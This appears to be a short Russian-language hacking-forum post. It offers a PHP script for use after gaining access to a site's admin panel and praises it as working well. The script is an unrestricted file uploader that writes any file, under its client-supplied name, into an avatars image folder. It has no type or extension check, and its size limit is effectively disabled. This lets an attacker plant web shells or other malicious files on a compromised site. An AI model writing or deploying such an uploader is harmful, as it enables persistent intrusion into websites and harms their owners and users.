нужно доступ к админке ! работает отлично! Скрипт: Code: <?php $site_name = $_SERVER['HTTP_HOST']; $url_dir = "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']); $url_this = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $upload_dir = "images/avatars/"; $upload_url = $url_dir."/images/avatars/"; $message =""; if ($_FILES['userfile']) { $message = do_upload($upload_dir, $upload_url); } else { $message = "Invalid File Specified."; } print $message; function do_upload($upload_dir, $upload_url) { $temp_name = $_FILES['userfile']['tmp_name']; $file_name = $_FILES['userfile']['name']; $file_type = $_FILES['userfile']['type']; $file_size = $_FILES['userfile']['size']; $result = $_FILES['userfile']['error']; $file_url = $upload_url.$file_name; $file_path = $upload_dir.$file_name; //File Name Check if ( $file_name =="") { $message = "Invalid File Name Specified"; return $message; } //File Size Check else if ( $file_size > 50000000000000000000000000000) { $message = "The file size is over 500K."; return $message; } $result = move_uploaded_file($temp_name, $file_path); $message = ($result)?"File url <a href=$file_url.>$file_url</a>" : "Somthing is wrong with uploading a file."; return $message; } ?> <form name="upload" id="upload" ENCTYPE="multipart/form-data" method="post"> Upload Image<input type="file" id="userfile" name="userfile"> <input type="submit" name="upload" value="Upload"> </form> короткое video тут